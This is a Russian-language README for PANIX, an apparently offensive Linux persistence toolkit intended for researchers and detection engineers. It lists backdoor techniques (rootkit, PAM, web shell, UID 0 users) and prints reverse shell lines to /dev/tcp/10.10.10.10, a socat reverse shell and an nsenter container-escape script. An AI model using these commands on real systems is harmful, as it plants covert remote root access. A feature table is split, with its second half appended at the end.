
Настраиваемый инструмент обеспечения персистентности в Linux для исследований в области безопасности и разработки средств обнаружения.

PANIX — это мощный, модульный и легко настраиваемый фреймворк для обеспечения персистентности в Linux, предназначенный для исследователей безопасности, инженеров по детектированию, пентестеров, энтузиастов CTF и других специалистов. Созданный с упором на универсальность, PANIX делает акцент на функциональности, что делает его незаменимым инструментом для понимания и реализации широкого спектра техник закрепления.

PANIX предоставляет универсальный набор функций для моделирования и исследования механизмов персистентности в Linux.
| Функция | Описание | Root | Пользователь |
|---|---|---|---|
| Персистентность через at-задания | Реализует персистентность путём добавления записей в системные задания at. | ✅ | ✅ |
| Авторизованные ключи | Добавляет открытый ключ в файл authorized_keys для доступа по SSH. | ✅ | ✅ |
| Пользователь-бэкдор | Создаёт пользователя-бэкдор с UID=0 (привилегии root). | ✅ | ❌ |
| Бэкдор системного пользователя | Внедряет бэкдор в системного пользователя (SSH-доступ к news/nobody). | ✅ | ❌ |
| Бэкдор в /etc/passwd | Напрямую добавляет вредоносную запись пользователя в /etc/passwd. | ✅ | ❌ |
| Бэкдор в /etc/init.d | Обеспечивает персистентность через SysVinit (/etc/init.d). | ✅ | ❌ |
| Бэкдор в /etc/rc.local | Обеспечивает персистентность через run control (/etc/rc.local). | ✅ | ❌ |
| Bind Shell | Запускает предварительно скомпилированный bind shell / LOLBin для удалённого доступа. | ✅ | ✅ |
| Бэкдор через capabilities | Добавляет определённые capabilities к бинарным файлам для поддержания персистентности. | ✅ | ❌ |
| Персистентность через cron | Настраивает cron-задания для обеспечения персистентности после перезагрузок. | ✅ | ✅ |
| Создание пользователя | Создаёт новую учётную запись пользователя в системе. | ✅ | ❌ |
| Бэкдор через D-Bus | Создаёт D-Bus-сервис для получения root reverse shell. | ✅ | ❌ |
| Руткит Diamorphine | Устанавливает руткит Diamorphine (Loadable Kernel Module). | ✅ | ❌ |
| Персистентность в initramfs | Внедряет пользователя-бэкдор с UID=0 в initramfs при перезагрузке. | ✅ | ❌ |
| Персистентность через Git |

PANIX предлагает всестороннюю поддержку различных дистрибутивов Linux.
Пользовательские или устаревшие дистрибутивы Linux могут иметь другие конфигурации или не поддерживать отдельные функции, из-за чего механизмы могут не работать на непроверенных версиях. Если стандартная команда не срабатывает, используйте флаг --custom, доступный в большинстве функций, чтобы скорректировать пути и команды под ваше окружение. Если это не решит проблему, изучите и измените скрипт под свои нужды.
Вклад в проект через pull requests или issues с новыми функциями, обновлениями или идеями всегда приветствуется!

Репозиторий PANIX спроектирован с учётом модульности, удобства сопровождения и лёгкости расширения. Каждый механизм персистентности включает скрипты установки и отката, что упрощает управление и удаление.```plaintext PANIX/ ├── main.sh # Core logic and argument parsing. ├── modules/ # Persistence mechanism scripts. │ ├── common.sh # Shared functions. │ ├── setup_*.sh # Setup scripts. │ └── revert/ # Revert scripts. ├── build.sh # Builds the distributable script. ├── panix.sh # Final distributable script. └── README.md # Documentation.
## Ключевые преимущества
- **Парный Setup & Revert**: У каждого `setup_*.sh` есть соответствующий `revert_*.sh`, что обеспечивает лёгкое удаление механизмов персистентности.
- **Модульная архитектура**: Лёгкое изменение существующих модулей или добавление новых без влияния на основной скрипт.
- **Простое расширение**: Чтобы добавить новую функциональность:
1. Создайте новый `setup_*.sh` в `modules/`.
2. Добавьте соответствующий `revert_*.sh` в `modules/revert/`.
3. Обновите `main.sh`, чтобы включить новые скрипты.
4. Обновите `common.sh`, чтобы включить модуль в меню помощи.
4. Запустите `build.sh` для генерации обновлённого `panix.sh`.

# Начало работы
Запустить PANIX так же просто, как скачать скрипт со [страницы релизов](https://github.com/Aegrah/PANIX/releases/tag/panix-v2.1.0) и выполнить его:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh | bash
Или скачайте его и запустите вручную:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -o panix.sh wget https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -O panix.sh
chmod +x panix.sh ./panix.sh
При выполнении скрипта будет показано меню справки `root` или `user`, в зависимости от привилегий текущего пользователя.```
panix@panix-demo:~$ sudo ./panix.sh
__
|__) /\ |\ | | \_/
| /~~\ | \| | / \
@RFGroenewoud
Root User Options:
--at At job persistence
--authorized-keys Add public key to authorized keys
--backdoor-user Create backdoor user
--backdoor-system-user Create backdoor system user
--bind-shell Execute backgrounded bind shell
--cap Add capabilities persistence
--create-user Create a new user
--cron Cron job persistence
--dbus D-Bus service persistence
--generator Generator persistence
--git Git hook/pager persistence
--grub GRUB bootloader persistence
--initd SysV Init (init.d) persistence
--initramfs Initramfs persistence
--ld-preload LD_PRELOAD backdoor persistence"
--lkm Loadable Kernel Module (LKM) persistence
--malicious-container Docker container with host escape"
--malicious-package Build and Install a package for persistence (DPKG/RPM)
--motd Message Of The Day (MOTD) persistence (not available on RHEL derivatives)
--network-manager NetworkManager dispatcher script persistence
--package-manager Package Manager persistence (APT/YUM/DNF)
--pam Pluggable Authentication Module (PAM) persistence (backdoored PAM & pam_exec)
--passwd-user Add user to /etc/passwd directly
--password-change Change user password
--polkit Allow pkexec as any user through Polkit
--rc-local Run Control (rc.local) persistence
--reverse-shell Reverse shell persistence (supports multiple LOLBins)"
--rootkit Diamorphine (LKM) rootkit persistence
--shell-profile Shell profile persistence
--ssh-key SSH key persistence
--sudoers Sudoers persistence
--suid SUID persistence
--system-binary System binary persistence
--systemd Systemd service persistence
--udev Udev (driver) persistence
--web-shell Web shell persistence (PHP/Python)
--xdg XDG autostart persistence
--revert Revert changes made by PANIX' default options
--mitre-matrix Display the MITRE ATT&CK Matrix for PANIX
--quiet (-q) Quiet mode (no banner)

Скрипт должен быть в значительной степени интуитивно понятным, однако в этом разделе будет показано несколько примеров работы с PANIX.
Каждый механизм персистентности имеет отдельное меню помощи:``` ruben@ubuntu2204:~$ sudo ./panix.sh --udev --help Usage: ./panix.sh --udev [OPTIONS] --examples Display command examples -default Use default udev settings --ip Specify IP address --port Specify port number --sedexp | --at | --cron | --systemd Specify the mechanism to use --custom Use custom udev settings --command Specify custom command --path Specify custom path --help|-h Show this help message
Каждый механизм персистентности также имеет флаг `--examples`, который показывает стандартные и пользовательские примеры, помогая составить команду, которая подходит именно вам.```
ruben@ubuntu2204:~$ ./panix.sh --git --examples
Examples:
--default:
./panix.sh --git --default --ip 10.10.10.10 --port 1337 --hook|--pager
--custom:
./panix.sh --git --custom --command "(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 &) &" --path "gitdir/.git/hooks/pre-commit" --hook
./panix.sh --git --custom --command "nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 & ${PAGER:-less}" --path "~/.gitconfig --pager"
Большинство механизмов закрепления очень просты и (надеюсь) не потребуют особых объяснений. Например, закрепление через systemd можно настроить, просто выполнив:``` ruben@ubuntu2204:~$ sudo ./panix.sh --systemd --default --ip 10.10.10.10 --port 1337 Service file created successfully! Timer file created successfully! Created symlink /etc/systemd/system/timers.target.wants/dbus-org.freedesktop.resolved.timer → /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer. [+] Systemd service persistence established!
При настройке механизма персистентности скрипт сообщит вам, сработал ли он, а в случаях, когда для работы с механизмом персистентности требуется информация, предоставляются дополнительные сведения. Например, механизм bind shell:```
ruben@ubuntu2204:~$ sudo ./panix.sh --bind-shell --default --architecture x64
[+] Bind shell binary /tmp/bd64 created and executed in the background.
[+] The bind shell is listening on port 9001.
[+] To interact with it from a different system, use: nc -nv <IP> 9001
[+] Bind shell persistence established!
Позволяя вам взаимодействовать с bind shell:``` ❯ nc -nv 192.168.211.130 9001 (UNKNOWN) [192.168.211.130] 9001 (?) open whoami root
То же самое касается механизмов, обладающих дополнительными встроенными функциями, такими как механизм персистентности Docker, со встроенным побегом из хоста с правами root:```
ruben@ubuntu2204:~$ sudo ./panix.sh --malicious-container --ip 192.168.211.131 --port 330
[+] Building 10.4s (9/9) FINISHED docker:default
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 722B 0.0s
=> [internal] load metadata for docker.io/library/alpine:latest 2.1s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [1/5] FROM docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.8s
=> => resolve docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.0s
=> => sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 1.85kB / 1.85kB 0.0s
=> => sha256:dabf91b69c191a1a0a1628fd6bdd029c0c4018041c7f052870bb13c5a222ae76 528B / 528B 0.0s
=> => sha256:a606584aa9aa875552092ec9e1d62cb98d486f51f389609914039aabd9414687 1.47kB / 1.47kB 0.0s
=> => sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 3.62MB / 3.62MB 0.4s
=> => extracting sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 0.2s
=> [2/5] RUN apk add --no-cache bash socat sudo util-linux procps 4.4s
=> [3/5] RUN adduser -D lowprivuser 0.6s
=> [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:192.168.211.131:330" 0.8s
=> [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh && chmod +x /usr/local/bin/escape.sh && ec 0.8s
=> exporting to image 0.6s
=> => exporting layers 0.6s
=> => writing image sha256:b36eb0d13ee1a0c57c3e6a1ee0255ef474986f44d65b177c539b2ffb1d248790 0.0s
=> => naming to docker.io/library/malicious-container 0.0s
86ce6b00e872bb8c21d0dae21e747e830bb70b44ab7946558e563bf7f4b626ef
[+] Persistence through malicious Docker container complete.
[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.
Что показывает вам в точности, как выбраться из контейнера и получить доступ к хосту.``` ❯ nc -nvlp 330 listening on [any] 330 ... connect to [192.168.211.131] from (UNKNOWN) [192.168.211.130] 43400 86ce6b00e872:/$ /usr/local/bin/escape.sh /usr/local/bin/escape.sh root@ubuntu2204:~#
## Revert Mechanism
PANIX может убрать за собой с помощью команды `--revert`. Как для отдельных модулей:```
ruben@ubuntu2204:~$ sudo ./panix.sh --revert rootkit
######################### [+] Reverting rootkit module... #########################
[+] Sending 'kill -63 0' to unload the rootkit module...
[+] Signal sent successfully.
[+] Identifying loaded rootkit kernel modules in /dev/shm/.rk...
[+] Unloading rootkit rkit...
[+] Kernel module 'rkit' unloaded successfully.
[+] Rootkit rkit unloaded successfully.
[+] Removing kernel module files from /dev/shm/.rk...
[+] Removed file: /dev/shm/.rk/restore_rkit.ko
[+] Removed directory: /dev/shm/.rk
[+] Removing downloaded files in /tmp...
[-] Directory not found: /tmp/diamorphine
[-] File not found: /tmp/diamorphine.zip
[+] Removed file: /tmp/diamorphine.tar
[-] Directory not found: /tmp/Diamorphine.git
[+] Reloading kernel modules...
[+] Kernel modules reloaded successfully.
И для всех модулей:``` ruben@ubuntu2204:~$ sudo ./panix.sh --revert all
[+] Running full reversion with --revert-all... [+] Reverting all modules...
######################### [+] Reverting revert_at... #########################
Error: 'at' binary is not present. Cannot revert 'at' jobs. [-] Failed to revert revert_at. Exit Code: 1
######################### [+] Reverting revert_authorized_keys... #########################
[-] Backup file /root/.ssh/authorized_keys.bak not found. No changes made. [+] revert_authorized_keys reverted successfully.
######################### [+] Reverting revert_backdoor_user... #########################
[+] No backdoor users found. [+] revert_backdoor_user reverted successfully.
######################### [+] Reverting revert_bind_shell... #########################
[+] Searching for bind shell processes and killing them if present... [+] revert_bind_shell reverted successfully.
[...]
[+] Reversion of all modules complete.
## Матрица MITRE ATT&CK
PANIX имеет встроенную матрицу MITRE ATT&CK, которая отображает доступные техники и подтехники.```
ruben@ubuntu2204:~$ ./panix.sh --mitre-matrix
MITRE ATT&CK Matrix - Persistence Techniques Supported by PANIX
Persistence Method Technique Name Technique ID Sub-technique Name Sub-technique ID URL
------------------- -------------- ------------- ----------------- --------------- ---------------------------------------------
--at Scheduled Task T1053 At T1053.002 https://attack.mitre.org/techniques/T1053/002
--authorized-keys Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--backdoor-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--backdoor-system-user Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--bind-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--cap Abuse Elevation Control Mechanism T1548 N/A N/A https://attack.mitre.org/techniques/T1548
--create-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--cron Scheduled Task T1053 Cron T1053.003 https://attack.mitre.org/techniques/T1053/003
--dbus Create or Modify System Process T1543 N/A N/A https://attack.mitre.org/techniques/T1543
--generator Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--git Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--grub Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--initd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--initramfs Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--ld-preload Hijack Execution Flow T1574 Dynamic Linker Hijacking T1574.006 https://attack.mitre.org/techniques/T1574/006
--lkm Boot or Logon Autostart Execution T1547 Kernel Modules and Extensions T1547.006 https://attack.mitre.org/techniques/T1547/006
--malicious-container Escape to Host T1610 N/A N/A https://attack.mitre.org/techniques/T1610
--malicious-package Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--motd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--network-manager Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--package-manager Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--pam Modify Authentication Process T1556 Pluggable Authentication Modules T1556.003 https://attack.mitre.org/techniques/T1556/003
--passwd-user Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--password-change Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--polkit Modify Authentication Process T1556 N/A N/A https://attack.mitre.org/techniques/T1556
--rc-local Boot or Logon Initialization Scripts T1037 RC Scripts T1037.004 https://attack.mitre.org/techniques/T1037/004
--reverse-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--rootkit Rootkit T1014 N/A N/A https://attack.mitre.org/techniques/T1014
--shell-profile Event Triggered Execution T1546 Unix Shell Configuration Modification T1546.004 https://attack.mitre.org/techniques/T1546/004
--ssh-key Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--sudoers Abuse Elevation Control Mechanism T1548 Sudo and Sudo Caching T1548.003 https://attack.mitre.org/techniques/T1548/003
--suid Abuse Elevation Control Mechanism T1548 Setuid and Setgid T1548.001 https://attack.mitre.org/techniques/T1548/001
--system-binary Compromise Host Software Binary T1554 N/A N/A https://attack.mitre.org/techniques/T1554
--systemd Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--udev Event Triggered Execution T1546 Udev Rules T1546.017 https://attack.mitre.org/techniques/T1546/017
--web-shell Server Software Component T1505 Web Shell T1505.003 https://attack.mitre.org/techniques/T1505/003
--xdg Boot or Logon Autostart Execution T1547 XDG Autostart Entries T1547.013 https://attack.mitre.org/techniques/T1547/013
Legend:
Technique: High-level MITRE ATT&CK technique.
Sub-Technique: Specific sub-technique under a high-level technique.
N/A: No specific sub-technique defined for this method.
URL: Link to the official MITRE ATT&CK page for further details.

Публикации, в которых используется PANIX:
Подписывайтесь на мои соцсети, чтобы быть в курсе исследований в области (Linux) безопасности.

Поделившись PANIX, вы поможете другим проверить и улучшить свою защиту, а также поддержите разработку новых возможностей обнаружения в области безопасности Linux.

PANIX предназначен только для авторизованного тестирования безопасности и исследовательских целей. Злоупотребление этим инструментом во вредоносных целях не одобряется и осуществляется полностью на риск пользователя. Используя PANIX, вы соглашаетесь с тем, что несёте ответственность за свои действия. Просто не делайте глупостей.
| Использует Git-хуки или пейджеры для персистентности в Git-репозиториях. |
| ✅ |
| ✅ |
| Персистентность через генераторы systemd | Использует генераторы systemd для создания постоянных сервисов. | ✅ | ❌ |
| Бэкдор в GRUB | Изменяет GRUB для выполнения бэкдора при загрузке. | ✅ | ❌ |
| Вредоносный контейнер | Разворачивает Docker-контейнер, предназначенный для побега из контейнера (host escape). | ✅ | ✅ |
| Вредоносный пакет | Устанавливает пакет DPKG/RPM для достижения персистентности. | ✅ | ❌ |
| NetworkManager | Устанавливает скрипт-диспетчер для персистентности при сетевых действиях. | ✅ | ❌ |
| Бэкдор через LD_PRELOAD | Использует LD_PRELOAD для внедрения вредоносных библиотек с целью персистентности. | ✅ | ❌ |
| Бэкдор через LKM | Загружает Loadable Kernel Module для поддержания персистентности. | ✅ | ❌ |
| Бэкдор через MOTD | Изменяет Message of the Day (MOTD) для установления персистентности. | ✅ | ❌ |
| Менеджер пакетов | Изменяет APT/YUM/DNF для установления персистентности при использовании. | ✅ | ❌ |
| Персистентность через PAM | Устанавливает PAM-бэкдор с помощью вредоносного модуля или pam_exec. | ✅ | ❌ |
| Смена пароля | Изменяет пароли пользователей для защиты учётных записей-бэкдоров. | ✅ | ❌ |
| Бэкдор через Polkit | Создаёт чрезмерно разрешающую конфигурацию Polkit в качестве бэкдора. | ✅ | ❌ |
| Reverse Shell | Устанавливает reverse shell (с поддержкой множества LOLBin). | ✅ | ✅ |
| Персистентность через shell-профили | Изменяет shell-профили для выполнения скриптов при входе пользователя в систему. | ✅ | ✅ |
| Персистентность через SSH-ключи | Манипулирует SSH-ключами для поддержания постоянного доступа по SSH. | ✅ | ✅ |
| Бэкдор в sudoers | Изменяет файл /etc/sudoers для предоставления повышенных привилегий. | ✅ | ❌ |
| SUID-бэкдор | Внедряет бэкдор в бинарные файлы, устанавливая SUID-бит. | ✅ | ❌ |
| Бэкдор системных бинарных файлов | Оборачивает системные бинарные файлы, добавляя функциональность бэкдора. | ✅ | ❌ |
| Сервис systemd | Создаёт сервисы systemd, обеспечивающие персистентность после перезагрузки. | ✅ | ✅ |
| Персистентность через Udev | Использует драйверы для персистентности на уровне взаимодействия с оборудованием. | ✅ | ❌ |
| Персистентность через веб-шелл | Разворачивает веб-серверы для удалённого доступа через веб-интерфейсы. | ✅ | ✅ |
| Автозапуск XDG | Использует каталоги автозапуска XDG для персистентности при входе пользователя. | ✅ | ✅ |
| Дистрибутив | Поддержка | Протестированная версия |
|---|
| Debian | ✅ | Debian 11 & 12 |
| Ubuntu | ✅ | Ubuntu 22.04 (Diamorphine недоступен) |
| RHEL | ✅ | RHEL 9 (MOTD и техники предзагрузки ОС недоступны) |
| CentOS | ✅ | CentOS Stream 9 & 7 (MOTD и техники предзагрузки ОС недоступны) |
| Fedora | ✅ | Не полностью протестирован |
| Arch Linux | ✅ | Не полностью протестирован |
| OpenSUSE | ✅ | Не полностью протестирован |